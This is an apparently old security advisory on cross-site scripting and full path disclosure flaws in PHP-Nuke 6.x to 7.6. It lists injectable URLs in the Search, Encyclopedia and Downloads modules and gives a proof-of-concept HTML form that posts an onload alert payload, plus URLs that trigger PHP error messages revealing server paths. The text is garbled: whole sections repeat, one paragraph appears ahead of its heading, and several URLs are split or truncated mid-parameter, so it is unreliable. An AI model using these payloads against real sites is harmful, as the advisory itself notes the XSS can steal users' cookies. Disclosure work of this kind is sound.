Affected software :
===================
PHP-Nuke version : 6.x - 7.6
Description :
=============
PHP-Nuke is a Web Portal System, storytelling software, News system, online community or
whatever you want to call it. The goal of PHP-Nuke is to have an automated web site to
distribute news and articles with users system. Each user can submit comments to discuss the
articles, just similar to Slashdot and many others. Main features include: web based admin,
surveys, top page, access stats page with counter, user customizable box, themes manager for
registered users, friendly administration GUI with graphic topic manager, option to edit or
delete stories, option to delete comments, moderation system, Referers page to know who link
us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners
Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more
friendly functions. PHP-Nuke is written 100% in PHP and requires Apache Web server, PHP and a
SQL (MySQL, mSQL, PostgreSQL, ODBC, ODBC_Adabas, Sybase or Interbase). Support for 25
languages, Yahoo like search engine, Comments option in Polls, lot of themes, Ephemerids
In PHPNuke there are XSS that can be used to steal cookies and do other operations, which in
normal conditions are not permitted by browser's cross-domain security restrictions.
http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=t
erms&eid=1<r=[XSS] we
can
create a form.
test.html :
-----------
<form name="mantra" method="POST" action="http://[target]/[nuke_dir]/modules.php">
<p>XSS:
<input type="text" name="newdownloadshowdays" value="7">
<br>
<input type="hidden" name="name" value="Downloads">
<br>
<input type="hidden" name="d_op" value="NewDownloads">
</p>
<p>
<input type="submit" name="Submit" value="Go!">
<br>
</p>
</form>
-----------------
And enter to inputfield "XSS" this :<body onload="alert('XSS')";> and click "Go!" :)
Or just replace [XSS] with <h1>w33t</h1> in GET method
Full Path Disclosure :
======================
Full path to script must be kept in secret because it can lead to successful attack on the
website. If the attacker know Full path to script , he can start searching some more info on
others folders or about the server where the site is and then try to break in.
Many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure.
Error message :

Vulnerabilities :
*****************
Cross-site scripting - XSS :
============================
In PHPNuke there are XSS that can be used to steal cookies and do other operations, which in
normal conditions are not permitted by browser's cross-domain security restrictions.
Example :
=========
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q
uery=[our query]
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q
uery=[our_query]&type=users&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q
uery=[our_query]&type=comments&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q
uery=[our_query]&type=stories&category=2
http://[target]/[nuke_dir]/modules.php?name=Search&author=[author]&topic
=0&min=999999999[XSS]&q

ories=45435[XSS]

id=1&bid=[XSS]
http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=t
erms&eid=1<r=[XSS]
To test XSS for example in
http://[target]/[nuke_dir]/modules.php?name=Encyclopedia&file=index&op=t
erms&eid=1<r=[XSS] we
can
create a form.
test.html :
-----------
<form name="mantra" method="POST" action="http://[target]/[nuke_dir]/modules.php">
<p>XSS:
<input type="text" name="newdownloadshowdays" value="7">
<br>
<input type="hidden" name="name" value="Downloads">
<br>
<input type="hidden" name="d_op" value="NewDownloads">
</p>
<p>
<input type="submit" name="Submit" value="Go!">
<br>
</p>
</form>
-----------------
And enter to inputfield "XSS" this :<body onload="alert('XSS')";> and click "Go!" :)
Or just replace [XSS] with <h1>w33t</h1> in GET method

Full path to script must be kept in secret because it can lead to successful attack on the
website. If the attacker know Full path to script , he can start searching some more info on

Many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure.
Examples :
----------
http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=userinfo
Error message :
---------------
=====================================
Fatal error: Call to undefined function: nav() in
/[info]/public_html/phpnuke/modules/Your_Account/index.php on line 221
======================================
http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=my_headlines
